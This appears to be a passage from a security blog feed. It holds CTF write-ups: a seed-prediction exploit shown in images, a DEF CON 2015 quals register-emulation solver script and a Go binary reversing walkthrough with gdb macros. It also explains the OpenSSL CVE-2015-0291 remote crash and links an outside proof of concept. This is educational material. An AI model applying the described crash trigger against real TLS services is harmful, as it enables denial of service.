<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi0O0N2IQGa4YIRCYBFYqNU7FU8Orf7JHuw3D7HA5lB2_aDKmd6NGuGo5M7E629wtZDDEXqynlmmdGwCmQxPYMV8YGDTrUEkfRdcSD-3iNemUOW9RUEDNgApkAy4oeW93TUWh0/s1600/rand_operations2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi0O0N2IQGa4YIRCYBFYqNU7FU8Orf7JHuw3D7HA5lB2_aDKmd6NGuGo5M7E629wtZDDEXqynlmmdGwCmQxPYMV8YGDTrUEkfRdcSD-3iNemUOW9RUEDNgApkAy4oeW93TUWh0/s400/rand_operations2.png" width="400" /></a><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh41gGEEYp3xFUBOhHgYRIpVdcYZZN4F1M0FZM67aSwNOTAZ4_wsbQv-75T-_nFxwXiCopCoP-sRVz42Dk1Dn-EXjaOL2l_hghdjqyL415gAfAfvfPWC1b6Rydjc7ukJ_KMsBSr/s1600/rand_operations.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh41gGEEYp3xFUBOhHgYRIpVdcYZZN4F1M0FZM67aSwNOTAZ4_wsbQv-75T-_nFxwXiCopCoP-sRVz42Dk1Dn-EXjaOL2l_hghdjqyL415gAfAfvfPWC1b6Rydjc7ukJ_KMsBSr/s400/rand_operations.png" width="400" /></a><br />
<br />
<br />
We tried to predict the random and aply the gpu divisions without luck :(<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhovHZPZ7xDyQxWPGePDEPiVL2rDVMAuokKCp0aNH4xYbDXwIBHYIz03YbDX4YTbSmvNfN8Rttw_xBiHy9AYh2y3tt3JR-YC8xx70HAk_DGDou7yUBdTCiZQ5KmfmJ9qsic68Fi/s1600/intentoDePrediccion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhovHZPZ7xDyQxWPGePDEPiVL2rDVMAuokKCp0aNH4xYbDXwIBHYIz03YbDX4YTbSmvNfN8Rttw_xBiHy9AYh2y3tt3JR-YC8xx70HAk_DGDou7yUBdTCiZQ5KmfmJ9qsic68Fi/s400/intentoDePrediccion.png" width="400" /></a><br />
<br />
There was a missing detail in this predcitor, but there are always other creative ways to do the things.<br />
We use the local software as a predictor, we inject the leaked seed on the local binary of the remote server and got a perfect syncronization, predicting the remote random values:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBlEKtFCA054GGneVwQY4fA2yomCtHcrgVepPkCVJzJmI0opMhK8vVhXQkvuxf7p-wcz3oC62yBtBOQmF87Ip55n7d4x37q8uGy-S5jE7Em7Xg-fa6K10i5pjhsL2R1V9ihPsq/s1600/numbers_predicted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBlEKtFCA054GGneVwQY4fA2yomCtHcrgVepPkCVJzJmI0opMhK8vVhXQkvuxf7p-wcz3oC62yBtBOQmF87Ip55n7d4x37q8uGy-S5jE7Em7Xg-fa6K10i5pjhsL2R1V9ihPsq/s400/numbers_predicted.png" width="400" /></a><br />
<br />
<br />
The process is a bit ugly becouse we combined automated process of leak exctraction and socket interactive mode, with the manual gdb macro.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5XHw0RnTRI9J81jIbzYMp0tI2ZPoEpnuS92d666QUsPSSaqnN5n3EpPhgyL6jHAVjZf-7Ve8HORw0WX1wUjfRcKFgm-OpfTu5cs5MuFaHg36TMSLg95S1w3kSGRgUvcFklx_k/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5XHw0RnTRI9J81jIbzYMp0tI2ZPoEpnuS92d666QUsPSSaqnN5n3EpPhgyL6jHAVjZf-7Ve8HORw0WX1wUjfRcKFgm-OpfTu5cs5MuFaHg36TMSLg95S1w3kSGRgUvcFklx_k/s400/exploit.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSSipY43wtTZWHH6Qqn8Up1Q_ZbTfGa_8cqcXrszO8k9JBonFnPMVqzNcweY0luv5AZhoprxii7uq9g2TNt_UaruLzhk4Hyuc2pjNxl77i5WT06UoUDxCk3jtVYya8Tp1zM-60/s1600/exploitCode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="383" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSSipY43wtTZWHH6Qqn8Up1Q_ZbTfGa_8cqcXrszO8k9JBonFnPMVqzNcweY0luv5AZhoprxii7uq9g2TNt_UaruLzhk4Hyuc2pjNxl77i5WT06UoUDxCk3jtVYya8Tp1zM-60/s400/exploitCode.png" width="400" /></a></div>
<br />
<br />
The macro:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHt4PY5I01CTvw1DZB_w3JHQIbXQBcENVqs7doUyWLL7uVzdK5ZvWK0MmG_ohMsZX1iXnHaGiaiT3jVdSLyJ98NEVaKvluMvCaDgV9PNvjcid2HAgy3RQLkoRwUjUUfaZJgwqZ/s1600/gdb_macro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHt4PY5I01CTvw1DZB_w3JHQIbXQBcENVqs7doUyWLL7uVzdK5ZvWK0MmG_ohMsZX1iXnHaGiaiT3jVdSLyJ98NEVaKvluMvCaDgV9PNvjcid2HAgy3RQLkoRwUjUUfaZJgwqZ/s320/gdb_macro.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-34720361995884980302015-05-18T13:32:00.000+02:002016-11-14T15:22:54.345+01:00Defcon 2015 coding skillz 1 writeup<div class="separator" style="clear: both; text-align: justify;">
Just connecting to the service, a 64bit cpu registers dump is received, and so does several binary code as you can see:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFE4Ysb3bk8KXhXwpp-vgJWwASfG2sRX_46kvzaSfAGW6QJE86p4gFf46ZuUx0hdkAPJg9AuC-H6LIG8BonHuP7Diaz3V0S_H7F6fImU7GP1eDRC1dyJ6UuQOwO2TEh0g2SO8q/s1600/cpu_regs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFE4Ysb3bk8KXhXwpp-vgJWwASfG2sRX_46kvzaSfAGW6QJE86p4gFf46ZuUx0hdkAPJg9AuC-H6LIG8BonHuP7Diaz3V0S_H7F6fImU7GP1eDRC1dyJ6UuQOwO2TEh0g2SO8q/s400/cpu_regs.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
The registers represent an initial cpu state, and we have to reply with the registers result of the binary code execution. This must be automated becouse of the 10 seconds server socket timeout.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
The exploit is quite simple, we have to set the cpu registers to this values, execute the code and get resulting registers.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
In python we created two structures for the initial state and the ending state.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<i>cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}</i><br />
<i>finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}</i><br />
<br />
We inject at the beginning several movs for setting the initial state:<br />
<br />
<div>
<div>
<i>for r in cpuRegs.keys():</i></div>
<div>
<i> code.append('mov %s, %s' % (r, cpuRegs[r]))</i></div>
</div>
<div>
<br /></div>
<div>
The 64bit compilation of the movs and the binary code, but changing the last ret instruction by a sigtrap "int 3"</div>
<div>
We compile with nasm in this way:</div>
<div>
<br /></div>
<div>
<div>
<i>os.popen('nasm -f elf64 code.asm')</i></div>
<div>
<i>os.popen('ld -o code code.o ')</i></div>
</div>
<div>
<br /></div>
<div>
And use GDB to execute the code until the sigtrap, and then get the registers</div>
<div>
<br /></div>
<div>
<div>
<i>fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')</i></div>
<div>
<i>for l in fd.readlines():</i></div>
<div>
<i> for x in finalRegs.keys():</i></div>
</div>
<div>
<i> ...</i></div>
<div>
<br /></div>
<div>
We just parse the registers and send the to the server in the same format, and got the key.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
The code:</div>
<div>
<br /></div>
<div>
from libcookie import *</div>
<div>
from asm import *</div>
<div>
import os</div>
<div>
import sys</div>
<div>
<br /></div>
<div>
host = 'catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me'</div>
<div>
port = 9999</div>
<div>
<br /></div>
<div>
cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}</div>
<div>
finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}</div>
<div>
fregs = 15</div>
<div>
<br /></div>
<div>
s = Sock(TCP)</div>
<div>
s.timeout = 999</div>
<div>
s.connect(host,port)</div>
<div>
<br /></div>
<div>
data = s.readUntil('bytes:')</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
#data = s.read(sz)</div>
<div>
#data = s.readAll()</div>
<div>
<br /></div>
<div>
sz = 0</div>
<div>
<br /></div>
<div>
for r in data.split('\n'):</div>
<div>
for rk in cpuRegs.keys():</div>
<div>
if r.startswith(rk):</div>
<div>
cpuRegs[rk] = r.split('=')[1]</div>
<div>
<br /></div>
<div>
if 'bytes' in r:</div>
<div>
sz = int(r.split(' ')[3])</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
binary = data[-sz:]</div>
<div>
code = []</div>
<div>
<br /></div>
<div>
print '[',binary,']'</div>
<div>
print 'given size:',sz,'bin size:',len(binary) </div>
<div>
print cpuRegs</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
for r in cpuRegs.keys():</div>
<div>
code.append('mov %s, %s' % (r, cpuRegs[r]))</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
#print code</div>
<div>
<br /></div>
<div>
fd = open('code.asm','w')</div>
<div>
fd.write('\n'.join(code)+'\n')</div>
<div>
fd.close()</div>
<div>
Capstone().dump('x86','64',binary,'code.asm')</div>
<div>
<br /></div>
<div>
print 'Compilando ...'</div>
<div>
os.popen('nasm -f elf64 code.asm')</div>
<div>
os.popen('ld -o code code.o ')</div>
<div>
<br /></div>
<div>
print 'Ejecutando ...'</div>
<div>
fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')</div>
<div>
for l in fd.readlines():</div>
<div>
for x in finalRegs.keys():</div>
<div>
if x in l:</div>
<div>
l = l.replace('\t',' ')</div>
<div>
try:</div>
<div>
i = 12</div>
<div>
spl = l.split(' ')</div>
<div>
if spl[i] == '':</div>
<div>
i+=1</div>
<div>
print 'reg: ',x</div>
<div>
finalRegs[x] = l.split(' ')[i].split('\t')[0]</div>
<div>
except:</div>
<div>
print 'err: '+l</div>
<div>
fregs -= 1</div>
<div>
if fregs == 0:</div>
<div>
#print 'sending regs ...'</div>
<div>
#print finalRegs</div>
<div>
</div>
<div>
buff = []</div>
<div>
for k in finalRegs.keys():</div>
<div>
buff.append('%s=%s' % (k,finalRegs[k]))</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
print '\n'.join(buff)+'\n'</div>
<div>
<br /></div>
<div>
print s.readAll()</div>
<div>
s.write('\n'.join(buff)+'\n\n\n')</div>
<div>
print 'waiting flag ....'</div>
<div>
print s.readAll()</div>
<div>
<br /></div>
<div>
print '----- yeah? -----'</div>
<div>
s.close()</div>
<div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
fd.close()</div>
<div>
s.close()</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-86901319542154900572015-03-30T17:33:00.000+02:002015-04-06T02:34:23.061+02:00TLS v1.2 sigalgs remote crash (CVE-2015-0291)<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
OpenSSL 1.0.2a fix several security issues, one of them let crash TLSv1.2 based services remotelly from internet.<br />
<br />
<br />
Regarding to the <a href="https://www.ietf.org/rfc/rfc5246.txt" target="_blank">TLSv1.2 RFC</a>, this version of TLS provides a "signature_algorithms" extension for the client_hello. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLq6j5GTYMxGq1ovP5hrUP7yEFTvQtqerAj8sD3JJao-lyaDsqho0zapIMw3TBsGe2Nhm8rlU4qLs3o574uxdIHn9a3qP6lfHESmMB2UoPq-eS1uF8mQwPH62-HTXMivBKUEYl/s1600/vars.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLq6j5GTYMxGq1ovP5hrUP7yEFTvQtqerAj8sD3JJao-lyaDsqho0zapIMw3TBsGe2Nhm8rlU4qLs3o574uxdIHn9a3qP6lfHESmMB2UoPq-eS1uF8mQwPH62-HTXMivBKUEYl/s1600/vars.png" height="400" width="242" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Data Structures</td></tr>
</tbody></table>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLq6j5GTYMxGq1ovP5hrUP7yEFTvQtqerAj8sD3JJao-lyaDsqho0zapIMw3TBsGe2Nhm8rlU4qLs3o574uxdIHn9a3qP6lfHESmMB2UoPq-eS1uF8mQwPH62-HTXMivBKUEYl/s1600/vars.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"><br /></a>
<br />
<div style="text-align: justify;">
If a bad signature is sent after the renegotiation, the structure will be corrupted, becouse structure pointer:<br />
s->c->shared_sigalgs will be NULL, and the number of algorithms:<br />
s->c->shared_sigalgslen will not be zeroed.<br />
Which will be interpreted as one algorithm to process, but the pointer points to 0x00 address. </div>
<div style="text-align: justify;">
<br /></div>
<br />
<div style="text-align: justify;">
Then tls1_process_sigalgs() will try to process one signature algorithm (becouse of shared_sigalgslen=1) then sigptr will be pointer to c->shared_sigalgs (NULL) and then will try to derreference sigptr->rhash. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: left;">
This mean a Segmentation Fault in tls1_process_sigalgs() function, and called by tls1_set_server_sigalgs() with is called from ssl3_client_hello() as the stack trace shows.</div>
</div>
<div style="text-align: justify;">
<br />
<br /></div>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjumZsPBeaf3d-VnZK5YcDDSvmhNTB3LytKQqWx2QuF45Z7ISdRVOsnkjFMSe5LzMrirmyL1KUqf9jQ0GfVzIyYM9mF40d5gP-bzlP9KiALQ69RxrUaBquMxOd9u6CsnUeogiaN/s1600/stack3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjumZsPBeaf3d-VnZK5YcDDSvmhNTB3LytKQqWx2QuF45Z7ISdRVOsnkjFMSe5LzMrirmyL1KUqf9jQ0GfVzIyYM9mF40d5gP-bzlP9KiALQ69RxrUaBquMxOd9u6CsnUeogiaN/s1600/stack3.png" height="172" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">StackTrace</td></tr>
</tbody></table>
<br />
The following code, points sigptr to null and try to read sigptr->rsign, which is assembled as movzbl eax, byte ptr [0x0+R12] note in register window that R12 is 0x00<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg29zPw8aYfcBv9KbGhAONag7yYq_eh2XNIxyEdI1EzNukoC7QscUi25uLYQ3YGvuWD1qddJUJ86gnbSXghFrLfVRsvVyOo45IPfFkXElCK7H2r_OgOB_rkyatD6W4947qFm9be/s1600/code.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg29zPw8aYfcBv9KbGhAONag7yYq_eh2XNIxyEdI1EzNukoC7QscUi25uLYQ3YGvuWD1qddJUJ86gnbSXghFrLfVRsvVyOo45IPfFkXElCK7H2r_OgOB_rkyatD6W4947qFm9be/s1600/code.png" height="354" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Debugger in the crash point.</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Z1sPVAXv8t60Gmn3hPgnpr1wGg3ODmKd4_8pY5pt87s6VpgTKonGd2tQWLopc_29-ni_isbnTqnZVXmKfYq7GbroHVu7tnVvKCvuE3Wz5L14ciW2pCmn05SEZMwvvWJlemLN/s1600/radare2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Z1sPVAXv8t60Gmn3hPgnpr1wGg3ODmKd4_8pY5pt87s6VpgTKonGd2tQWLopc_29-ni_isbnTqnZVXmKfYq7GbroHVu7tnVvKCvuE3Wz5L14ciW2pCmn05SEZMwvvWJlemLN/s1600/radare2.png" height="200" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">radare2 static decompiled</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
The <a href="https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=34e3edbf3a10953cb407288101fd56a629af22f9;hp=09f06923e636019c39c807cb59c481375e720556" target="_blank">patch</a> fix the vulnerability zeroing the sigalgslen.<br />
Get David A. Ramos' proof of concept <a href="https://mega.co.nz/#!P1pEFCDC!1oyBO0xbXoM38hbbMnFeku7h7ANCEdRoAlPcTzp8Zqc" target="_blank">exploit here</a><br />
<br />
<br />
<br />
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-6881522124584852992014-09-21T11:57:00.001+02:002014-09-23T08:26:52.304+02:00S2 Dynamic tracer and decompiler for gdb<div style="text-align: justify;">
Decompiling is very useful for understanding srtipped binaries, most dissasemblers like IDA or Hopper have a plugin for decompiling binaries, generating a c like pseudocode.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Static analysis, is very useful in most of cases, specially when the binary is not so big, or when you just have an address where to start to analyze. But some algorithms will be learned in less time by dynamic analysis like tracing or debugging.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
In cookiemonsters team, we are working on several tracers with different focus, but all of them mix the concept of tracing and decompiling to generate human-readable traces.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
S2 is my tracer & decompiler plugin for gdb, very useful for ctfs.</div>
<div style="text-align: justify;">
Some of the features are:</div>
<br />
- signed/unsigned detecion<br />
- conditional pseudocode (if)<br />
- syscall resolution<br />
- unroll bucles<br />
- used registers values<br />
- mem states<br />
- strings<br />
- logging<br />
<br />
<br />
<br />
<div align="center">
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/-__LRK0b11Y" width="420"></iframe><br />
<br />
<div style="text-align: left;">
The code:</div>
<div style="text-align: left;">
<a href="https://bitbucket.org/sha0coder/gdb_automatization/" target="_blank">https://bitbucket.org/sha0coder/gdb_automatization/</a></div>
</div>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-43058274049050187642014-09-15T23:28:00.001+02:002014-09-15T23:50:44.336+02:00inBINcible writeup - golang binary reversing<div style="text-align: justify;">
This file is an 32bits elf binary, compiled from go language (i guess ... coded by <a href="https://twitter.com/nibble_ds">@nibble_ds</a> ;)</div>
<div style="text-align: justify;">
The binary has some debugging symbols, which is very helpful to locate the functions and api calls.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
GO source functions:</div>
<div style="text-align: justify;">
- main.main</div>
<div style="text-align: justify;">
- main.function.001</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If the binary is executed with no params, it prints "Nope!", the bad guy message.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<i>~/ncn$ ./inbincible </i></div>
<div style="text-align: justify;">
<i>Nope!</i></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Decompiling the main.main function I saw two things:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
1. The Argument validation: Only one 16 bytes long argument is needed, otherwise the execution is finished.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
2. The key IF, the decision to dexor and print byte by byte the "Nope!" string OR dexor and print "Yeah!"</div>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioEw9fcOL4Q13ei2JmjwrKLQuhK7h2ERKsy3Jt875xTO0oPMP-haAT5YwZ_Fd6avteoezZI1yPiOU59Da6ddyc_A4xYR3mNmQVYewp1NbgX7RBB0OKtGgsHN0NX2T1CZK8y8wU/s1600/if_clave.png" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioEw9fcOL4Q13ei2JmjwrKLQuhK7h2ERKsy3Jt875xTO0oPMP-haAT5YwZ_Fd6avteoezZI1yPiOU59Da6ddyc_A4xYR3mNmQVYewp1NbgX7RBB0OKtGgsHN0NX2T1CZK8y8wU/s1600/if_clave.png" height="180" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The incoming channel will determine the final message.</td></tr>
</tbody></table>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUNJFIrhRGqMw-xqjAdQZme3m0jbx2-rBrwYKBMAarhs3bAIObWw-ZZvlv_AkpIGnE-b65sElMHATIIl4u-k6cVEOfuCVOJpW0-vLNnwaxiFg7mIGpA7wDYapyYvfcz6u_f6rI/s1600/xor_print.png" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUNJFIrhRGqMw-xqjAdQZme3m0jbx2-rBrwYKBMAarhs3bAIObWw-ZZvlv_AkpIGnE-b65sElMHATIIl4u-k6cVEOfuCVOJpW0-vLNnwaxiFg7mIGpA7wDYapyYvfcz6u_f6rI/s1600/xor_print.png" height="188" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Dexor and print each byte of the "Nope!" message.</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div style="text-align: justify;">
This IF, checks 16 times if the go channel reception value is 0x01, in this case the app show the "Yeah!" message.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Go channels are a kind of thread-safe queue, a channel_send is like a push, and channel_receive is like a pop.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If we fake this IF the 16 times, we got the "Yeah!" message:</div>
<br />
<i>(gdb) b *0x8049118</i><br />
<i>(gdb) commands</i><br />
<i>>set {char *}0xf7edeef3 = 0x01</i><br />
<i>>c</i><br />
<i>>end</i><br />
<br />
<i>(gdb) r 1234567890123456</i><br />
<i>tarting program: /home/sha0/ncn/inbincible 1234567890123456</i><br />
<i>...</i><br />
<i>Yeah!</i><br />
<br />
<br />
<div style="text-align: justify;">
Ok, but the problem is not in main.main, is main.function.001 who must sent the 0x01 via channel.</div>
<div style="text-align: justify;">
This function xors byte by byte the input "1234567890123456" with a byte array xor key, and is compared with another byte array.</div>
<br />
<i>=> 0x8049456</i><i>: xor %ebp,%ecx</i><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX1Yo2oCLwCQtGQnwte5R3GqfrEyIMUVUxOjE7q0gnw7ECHcQMzzPrC17JX3J8EixLjaXVTFmtzNUKmAJ5Fhbqqdw8dQCwrmFrKgUJYu1rG6DOlmyAGx55jcfMurtMBupp7vBf/s1600/final_xor.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX1Yo2oCLwCQtGQnwte5R3GqfrEyIMUVUxOjE7q0gnw7ECHcQMzzPrC17JX3J8EixLjaXVTFmtzNUKmAJ5Fhbqqdw8dQCwrmFrKgUJYu1rG6DOlmyAGx55jcfMurtMBupp7vBf/s1600/final_xor.png" height="210" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">This xor, encode the argument with a key byte by byte</td></tr>
</tbody></table>
<i><br /></i>
The xor key can be dumped from memory but I prefer to use this macro:<br />
<br />
<i>(gdb) b *0x8049456</i><br />
<i>(gdb) commands</i><br />
<i>>i r ecx</i><br />
<i>>c</i><br />
<i>>end</i><br />
<i>(gdb) c</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x12<span class="Apple-tab-span" style="white-space: pre;"> </span>18</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x45<span class="Apple-tab-span" style="white-space: pre;"> </span>69</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x33<span class="Apple-tab-span" style="white-space: pre;"> </span>51</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x87<span class="Apple-tab-span" style="white-space: pre;"> </span>135</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x65<span class="Apple-tab-span" style="white-space: pre;"> </span>101</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x12<span class="Apple-tab-span" style="white-space: pre;"> </span>18</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x45<span class="Apple-tab-span" style="white-space: pre;"> </span>69</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x33<span class="Apple-tab-span" style="white-space: pre;"> </span>51</i><br />
<i><br /></i>
